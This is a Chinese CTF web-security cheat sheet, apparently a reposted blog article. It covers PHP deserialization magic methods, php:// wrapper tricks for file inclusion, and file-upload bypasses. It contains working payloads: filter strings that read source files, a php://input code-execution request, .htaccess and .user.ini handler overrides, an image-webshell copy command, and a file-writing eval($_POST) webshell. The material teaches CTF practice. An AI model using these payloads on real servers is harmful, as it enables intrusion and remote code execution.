CTF - Web 干货

这篇具有很好参考价值的文章主要介绍了CTF - Web 干货。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

1、php反序列化之pop链构造

2、常见php伪协议的使用

(1)php://filter

(2)php://input

3、文件上传常规操作

(1) 前端绕过

(2) 修改文件类型

(3) 配合.user.ini 或.htaccess解析

(4) 爆破可解析后缀

(5) 针对Windows系统特性的绕过

(6) 文件包含结合图片马

(7) 条件竞争


1、php反序列化之pop链构造

常见魔术方法的触发

__construct()   //创建类对象时调用 ​ 

__destruct()   //对象被销毁时触发 ​ 

__call()   //在对象中调用不可访问的方法时触发 ​ 

__callStatic()   //在静态方式中调用不可访问的方法时触发 ​ 

__get()   //调用类中不存在变量时触发(找有连续箭头的 this->a->b) ​ 

__set()   //给一个未定义的属性赋值时触发 ​ 

__isset()   //在不可访问的属性上调用isset()或empty()触发 ​ 

__unset()   //在不可访问的属性上使用unset()时触发 ​ 

__sleep()   //使用serialize()时触发 ​ 

__wakeup()   //执行unserialize()时触发 ​ 

__toString()   //当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等) ​ 
__invoke()   //对象被当做函数进行调用时触发(找有括号的类似$a()这种) ​ 

__set_state()     //使用var_export()时触发 ​ 

__clone()   //对象复制完成时调用 ​ 

__autoload()   //实例化一个未定义的类时触发 ​ 

__debugInfo()   //使用var_dump时触发

典型例题:[NISACTF 2022]babyserialize

NSSCTF 靶场地址:NSSCTF | 在线CTF平台

详细解题过程参考我之前的博客:https://myon6.blog.csdn.net/article/details/131565599?spm=1001.2014.3001.5502

2、常见php伪协议的使用

文件包含:

常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

文件包含函数:

1、include ​ 
2、require ​ 
3、include_once ​ 
4、require_once ​ 
5、highlight_file ​ 
6、show_source ​ 
7、flie ​ 
8、readfile ​ 
9、file_get_contents ​ 
10、file_put_contents ​ 
11、fopen

存在文件包含时就应该想到 php 伪协议的利用

常用的 php 伪协议:

(1)php://filter

用于读取源码

可以获取指定文件源码,当它与包含函数结合时,php://filter 流会被当作 php 文件执行,所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。

convert.iconv.* 的用法:

convert.iconv.<input-encoding>.<output-encoding> 

或者 

convert.iconv.<input-encoding>/<output-encoding>

<input-encoding> 和 <output-encoding> 就是编码方式,有:

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*

常用 payload :

最常见的编码方式:
?file=php://filter/read=convert.base64-encode/resource=flag.php

替换编码方式绕过的例子:
?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php 

(2)php://input

用于执行 PHP 代码

可以访问请求的原始数据的只读流,将post请求的数据当作 php 代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时 post 写入想要执行的 php 代码,php 执行时会将 post 内容当作文件内容,从而导致任意代码执行。

例如:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>

典型例题:攻防世界的 fileclude 和 file_include

攻防世界靶场地址:https://adworld.xctf.org.cn/

详细解题过程可以参考我之前的博客:

https://myon6.blog.csdn.net/article/details/130188333

https://myon6.blog.csdn.net/article/details/130176864

3、文件上传常规操作

(1) 前端绕过

使用 BurpSuite 抓包改后缀即可

(2) 修改文件类型

将 Content-Type 改为 image/jpeg

(3) 配合.user.ini 或.htaccess解析

这两个配置文件都可以使我们上传的图像类文件被当作php文件解析

关于这两个文件的基本内容:

.htaccess

<FilesMatch ".jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

.user.ini

auto_prepend_file=my.jpg

等号后面的 my.jpg 就是你要上传的 jpg 类型的一句话木马的文件名

(4) 爆破可解析后缀

使用burpsuite爆破可能被解析的后缀

比如:

php2、php3、php4、php5、phps、pht、phtm、phtml、phpt、shtml 、pwml等等

(也可以结合大小写绕过)

(5) 针对Windows系统特性的绕过

空格绕过、点绕过、::$DATA绕过

原理:Windows系统对于文件的重命名会自动把空格、点、::$DATA 去掉

因此我们可以在文件后缀添加空格、点、::$DATA 进行绕过(是在 burpsuite 抓包后修改)

(6) 文件包含结合图片马

文件包含漏洞:是指未对文件进行严格过滤,在代码中引入其他文件作为php文件执行。

图片马生成可以使用copy命令

copy 1.jpg/b + shell.php 2.jpg

生成的2.jpg就是一个图片马

(7) 条件竞争

条件竞争原理:当我们成功上传了php文件,服务端会在短时间内将其删除,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。

上传的大致内容为:

<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>

需要结合 burpsuite 设置上传包和访问包的线程数

详细解释参考我之前的博客:https://myon6.blog.csdn.net/article/details/133562672文章来源地址https://www.toymoban.com/news/detail-800612.html

到了这里,关于CTF - Web 干货的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [CTF/网络安全] 攻防世界 php_rce 解题详析

    PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。简单来说,由于PHP应用程序没有正确处理外部输入数据(如用户提交的表单、请求参数等),攻击者通过某些手段向 PHP 应用程序中注入恶意代码,然后通过这些恶意代码实现对受攻击服务器

    2024年02月06日
    浏览(54)
  • [CTF/网络安全] 攻防世界 simple_php 解题详析

    题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。 $a=@$_GET[\\\'a\\\']; 从HTTP GET请求参数中获取一个名为a的变量,并将其赋值给变量a。@符号用于禁止错误输出,如果不存在参数a则会将变量a设置为NULL。 $b=@$_GET[\\\'b\\\']; 从HTTP GET请求参数中获取一个名为b的变量,

    2024年02月13日
    浏览(48)
  • [网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

    提示:有一个良好的备份网站的习惯 故使用dirsearch工具扫描目录 得到的扫描结果中包含www.zip目录 通过url路径下载zip文件: index.php中含有关键代码: Get传参传入一个参数select,后端将其序列化 class.php: construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,

    2024年02月05日
    浏览(78)
  • [CTF/网络安全] 攻防世界 file_include 解题详析(php伪协议+convert转换过滤器)

    题目描述:怎么读取文件呢? 思路: 由代码审计可知,可通过filename参数构造POC,来读取check.php POC的构造涉及PHP伪协议,参考链接: 文件包含 | PHP伪协议实战 POC: 回显如下: 猜测被过滤,怎么办呢? 该题涉及到 convert转换过滤器 常见的convert转换过滤器有这两种:

    2024年02月07日
    浏览(72)
  • 小迪安全20WEB 攻防-PHP 特性&缺陷对比函数&CTF 考点&CMS 审计实例

    #研究对象 PHP代码漏洞(代码问题) # 知识点: 1 、过滤函数缺陷绕过 2 、 CTF 考点与代码审计 一、原理-缺陷函数-使用讲解-本地 内置函数: 大部分是比较函数(过滤时使用的函数) (1)、== 与 === : 参考: PHP 浅谈 == 和=== 中,数字和字符串比较的问题。_php 数字==字符串

    2024年01月19日
    浏览(56)
  • CTF - Web 干货

    目录 1、php反序列化之pop链构造 2、常见php伪协议的使用 (1)php://filter (2)php://input 3、文件上传常规操作 (1) 前端绕过 (2) 修改文件类型 (3) 配合.user.ini 或.htaccess解析 (4) 爆破可解析后缀 (5) 针对Windows系统特性的绕过 (6) 文件包含结合图片马 (7) 条件竞争 常见魔术方法的触发

    2024年01月18日
    浏览(32)
  • 网络安全实验——web安全

    目录 实验目的 实验原理 实验内容 实验1 1. 地址栏中执行脚本 2. 对DOM技术的利用 实验2  1.jump1 2.jump2 3.get 4.xss 5.注册bss 6.盗取cookie 7.分析cookie  实验3 一.搭建IIS服务器 二.身份验证和权限设置 三.IP地址和域名限制 四.安全通信 五. 单点登录  实验总结 1. 了解什么是XSS 2. 掌握盗

    2024年02月13日
    浏览(46)
  • 网络安全-Web端安全协议

    大家上网娱乐或办公总是离不开浏览器,也就是从web端访问各个网站,其安全的重要性与其使用的广泛性成正比。本文就web端常见的相关安全协议分享。 SSL(Secure Sockets Layer),安全套接层,它是在传输通信协议(TCP/IP)上实现的一种安全协议,它位于应用层协议之下且独立的

    2024年02月08日
    浏览(48)
  • 网络安全-安全Web网关(SWG)详解

    在当今快速发展的网络环境中,企业面临着越来越多的网络安全挑战。安全Web网关(SWG)作为一种高效的网络安全解决方案,为企业提供了一个安全、可控的网络使用环境。 安全Web网关是一种网络安全设备或服务,主要功能是监控和管理用户的Web访问,以防止恶意软件入侵和

    2024年02月01日
    浏览(52)
  • Web 学习笔记 - 网络安全

    目录 m前言 正文 XSS 攻击 简单示例 XSS 防御 CSRF  Web 安全方面的基本知识是有很必要的,未必就要深入理解。本文主要介绍常见的网络攻击类型,不作深入探讨。 网络攻击的形式种类繁多,从简单的网站敏感文件扫描、弱口令暴力破解,到 SQL 注入,再到复杂的网络劫持等,

    2023年04月24日
    浏览(49)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包